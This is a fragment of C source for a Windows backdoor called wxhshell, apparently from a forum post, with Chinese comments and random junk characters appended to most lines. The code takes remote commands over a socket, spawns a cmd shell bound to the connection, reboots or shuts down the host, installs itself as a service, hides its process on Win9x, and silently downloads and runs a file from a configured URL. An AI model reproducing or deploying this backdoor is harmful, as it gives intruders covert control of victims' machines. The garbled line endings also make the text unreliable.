KpQ@cc  
    switch(cmd[0]) { T}'*Gry  
  d<cQYI4V  
  // 帮助 |mw3v>  
  case '?': { i|!R*"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w0.;86<MV  
    break; y?*Y=,"  
  } '2p,0Bk9i  
  // 安装 p{0rHu[  
  case 'i': { "GxQ9=Z  
    if(Install()) N40DL_-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9~r8$,e  
    else `Z@qWB<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w/ID y Q  
    break; pe\]}&  
    } Wjd_|Kui  
  // 卸载 >/-Bg:  
  case 'r': { ,F|49i.K  
    if(Uninstall()) %:-2P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A22'qgKm@  
    else dP/1E6*m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~NK|q5(I  
    break; 99Nm?$ g  
    } `q y@Qo  
  // 显示 wxhshell 所在路径 Q,o"[ &Gp  
  case 'p': { qHYoQ.ke  
    char svExeFile[MAX_PATH]; oHethk  
    strcpy(svExeFile,"\n\r"); ) @f6  
      strcat(svExeFile,ExeFile); Hq <!&  
        send(wsh,svExeFile,strlen(svExeFile),0); l8DZ2cw]  
    break; R36A_  
    } :u?L y[x  
  // 重启 [-=y*lx %g  
  case 'b': { Jj+Hj[(@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u>03l(X6f  
    if(Boot(REBOOT)) QyEoWKu;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  OJ# d  
    else { 1|7t q  
    closesocket(wsh); )3!z2f:e  
    ExitThread(0); k`0m|<$  
    } Q,>]f@m  
    break; a7fn{VU8  
    } _$gP-J  
  // 关机 S1*xM  
  case 'd': { P[gYENQ   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kK]L(ZU +  
    if(Boot(SHUTDOWN)) M+M\3U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*,RDM'M  
    else { Ij7[2V]c  
    closesocket(wsh); KA9v?_@{F  
    ExitThread(0); D;oX*`  
    } E*UE?4FSw|  
    break; ]6?6 k4@  
    } @t#Ju1Y  
  // 获取shell CDG,l7  
  case 's': { N MH'4R  
    CmdShell(wsh); CGZ3-OW@E  
    closesocket(wsh); U!524"@%U`  
    ExitThread(0); p,S/-ph  
    break; U;Q?Rh- W  
  } Z2I2 [pA  
  // 退出 ! X<dN..  
  case 'x': { ?Lquf&`vP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `mDCX  
    CloseIt(wsh); 6"U$H$i.G  
    break; hyC]{E  
    } iq`caoi  
  // 离开 5}'W8gV?  
  case 'q': { J4m2|HK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vqJq=\ .m  
    closesocket(wsh); ~|8-Mo1ce  
    WSACleanup(); 2fMKS  
    exit(1); sK|+&BC  
    break; "l-R|>6~  
        } OP\m~1  
  } mq oB]H,  
  } 9at_F'> R  
I73=PfS:m  
  // 提示信息 2j-^F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T5+9#  
} @`:z$52  
  } 7SJtW`~  
Q;eY]l8  
  return; <2fgao&-n  
} 7NQEnAl  
a/lTQj]A  
// shell模块句柄 %bgUU|CdA  
int CmdShell(SOCKET sock) Kr@6m80E5  
{ eIt<da<G?  
STARTUPINFO si; 7E\k97#G  
ZeroMemory(&si,sizeof(si)); 2X@"#wIg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hie  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?!$:I8T  
PROCESS_INFORMATION ProcessInfo; sH+ 90|?  
char cmdline[]="cmd"; Ws:MbZyr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9wP,Z"  
  return 0; I*l y 7z  
} R b=q #  
%HcCe[d5l  
// 自身启动模式 A$W~R  
int StartFromService(void) zEs:OOM  
{ klx28/]  
typedef struct P?j;&@$^e  
{ YaAOP'p  
  DWORD ExitStatus; Ew*SA  
  DWORD PebBaseAddress; irKM?#h  
  DWORD AffinityMask; 9qX)FB@'i;  
  DWORD BasePriority; XWq@47FR  
  ULONG UniqueProcessId; $'93:9tg  
  ULONG InheritedFromUniqueProcessId; F0/!+ho  
}   PROCESS_BASIC_INFORMATION; T3h1eU  
*w[0uQL5Z  
PROCNTQSIP NtQueryInformationProcess; NbUbLzE  
M.fA5rJ^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "{M?,jP#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v] hu5t  
hf< [$B  
  HANDLE             hProcess; @5*$yi 'Cp  
  PROCESS_BASIC_INFORMATION pbi; dc,qQM  
b-HELS`nX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #,Cz+ k*4  
  if(NULL == hInst ) return 0; sTw+.m{F  
^_\%?K_u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :HkX sZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "*ww>0[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y@2yV(m)o  
?OVje9  
  if (!NtQueryInformationProcess) return 0; #.@-ng6C  
o8u;2gZx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X \qG WpN%  
  if(!hProcess) return 0; 8 Cw3b\ne  
4XIc|a Aa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9G^gI}bY  
ZMO ym=  
  CloseHandle(hProcess); WGHf?G/s  
. pyNET  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #;/ob-  
if(hProcess==NULL) return 0; ,#K{+1z:  
Yp EH(tq  
HMODULE hMod; ##a.=gl  
char procName[255]; U}DLzn|w  
unsigned long cbNeeded; J(w 3A)(  
:r9<wbr)k0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t"jiLOQ[6  
D4$2'h  
  CloseHandle(hProcess); /o9 0O&  
[Z;ei1l  
if(strstr(procName,"services")) return 1; // 以服务启动 O9_SVXWVw  
7R$O ~R3p  
  return 0; // 注册表启动 sq;3qbz  
} -mLS\TFS  
#M@~8dAH}M  
// 主模块 5Kw?#  
int StartWxhshell(LPSTR lpCmdLine) i7%`}t  
{ U;t1 K  
  SOCKET wsl; %BF,;(P  
BOOL val=TRUE; qIvnPaYW  
  int port=0; [G' +s  
  struct sockaddr_in door; j%=X ps  
$+$4W\-=X  
  if(wscfg.ws_autoins) Install(); vL8Rg} Jh4  
iAZbh"I  
port=atoi(lpCmdLine); sq?js#C5  
H:cAORLB  
if(port<=0) port=wscfg.ws_port; %a']TX  
yf/i)  
  WSADATA data; U< <XeSp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 &3KVd`  
 w>\_d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WaSZw0U}y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 06]"{2  
  door.sin_family = AF_INET; slAR<8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \&[(PNl  
  door.sin_port = htons(port); 5&qBG@Hw]  
L}rYh`bUP[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0X5b32  
closesocket(wsl); K #}t\  
return 1; /h8100  
} ^0&jy:{  
iP6?[pl8  
  if(listen(wsl,2) == INVALID_SOCKET) { NuW6~PV  
closesocket(wsl); hR~&}sxN  
return 1; ]A%~bQ7  
} \}W !  
  Wxhshell(wsl); Z"$iB-]  
  WSACleanup(); )YW"Zo8~!1  
Wg,7k9I  
return 0; pfHfw,[  
.q1y)l-^Z  
} 3!{Tw6A8(  
C-XJe~  
// 以NT服务方式启动 6q^\pJY%&7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hbEqb{#}@  
{ #4<=Ira5  
DWORD   status = 0; !*S,S{T8  
  DWORD   specificError = 0xfffffff; RK=Pm7L:`y  
Iw?*y.z|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q]e]\J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @km4qJZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e$/y ~!  
  serviceStatus.dwWin32ExitCode     = 0; kU,g=+ 2J  
  serviceStatus.dwServiceSpecificExitCode = 0; mZO-^ct4  
  serviceStatus.dwCheckPoint       = 0; F)4I70vG  
  serviceStatus.dwWaitHint       = 0; n|Ts:>`V  
%xr'96d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _0UE*l$t  
  if (hServiceStatusHandle==0) return; =J|jCK[r  
BS(jC  
status = GetLastError(); &2S-scP  
  if (status!=NO_ERROR) k(o(:-+x  
{ Rh#`AM`)j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S|af?IW  
    serviceStatus.dwCheckPoint       = 0; hu.p;A3p;  
    serviceStatus.dwWaitHint       = 0; g#`}HuPoE  
    serviceStatus.dwWin32ExitCode     = status; e4|a^lS;  
    serviceStatus.dwServiceSpecificExitCode = specificError; c-_1tSh}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P+BGCc%);B  
    return; X&IT  s  
  } LH.Gf  
m#[9F']Z`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >'4$g7o,  
  serviceStatus.dwCheckPoint       = 0; B):ZX#  
  serviceStatus.dwWaitHint       = 0; LcB+L](  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^+~ 5\c*  
} $0vWC#.A]  
3iUJ!gK  
// 处理NT服务事件,比如:启动、停止 :s \zk^h?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~!=Am:-wr  
{ hQ(^;QcSu  
switch(fdwControl) :W6'G@ p  
{ HB`'S7Q  
case SERVICE_CONTROL_STOP: L9XfR$7,z  
  serviceStatus.dwWin32ExitCode = 0; N;,zPWa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WP?]"H  
  serviceStatus.dwCheckPoint   = 0; "a9j2+9  
  serviceStatus.dwWaitHint     = 0; 2vU-9p {  
  {  P_'{|M<?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -v-kFzu  
  } ![$`Ivro`  
  return; [+QyKyhTO  
case SERVICE_CONTROL_PAUSE: QO0@Ax\b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <-fvYer  
  break; BMI`YGjY1  
case SERVICE_CONTROL_CONTINUE: `e fiX^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H\H7a.@nkF  
  break; bRrS d:e  
case SERVICE_CONTROL_INTERROGATE: `JY+3d,Ui  
  break; v_Df+  
}; Z=Cw7E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w>8kBQ?b  
} &-{%G=5~e%  
M$Bb,s  
// 标准应用程序主函数 6212*Z_Af  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'n>44_7L  
{ %hN(79:g  
,i|K} Y&  
// 获取操作系统版本 ^/$dSXKF  
OsIsNt=GetOsVer(); pJs`/   
GetModuleFileName(NULL,ExeFile,MAX_PATH); vq.o;q /  
KC"&3  
  // 从命令行安装 Thu_`QP^  
  if(strpbrk(lpCmdLine,"iI")) Install(); )+|wrK:*v  
M$.bC0}T  
  // 下载执行文件 60]VOQku  
if(wscfg.ws_downexe) { |&xaV-b9W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wN10Drc   
  WinExec(wscfg.ws_filenam,SW_HIDE); jSM`bE+"  
} OI*ltba?  
d}tmZ*q  
if(!OsIsNt) { 4n@>gW  
// 如果时win9x,隐藏进程并且设置为注册表启动 bCr W'}:de  
HideProc(); )P?Fni}  
StartWxhshell(lpCmdLine); QV.>Cy  
} $y,KDR7^  
else QH4m7M@ni  
  if(StartFromService()) #pgD-0_  
  // 以服务方式启动 4M>pHz4  
  StartServiceCtrlDispatcher(DispatchTable); X lItg\R  
else _>]/.w2=  
  // 普通方式启动 Z.!<YfA)  
  StartWxhshell(lpCmdLine); 04&S.#+(  
2O@ON/  
return 0; lR7;{zlSf'  
}
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只看该作者 1 发表于: 2006-10-10
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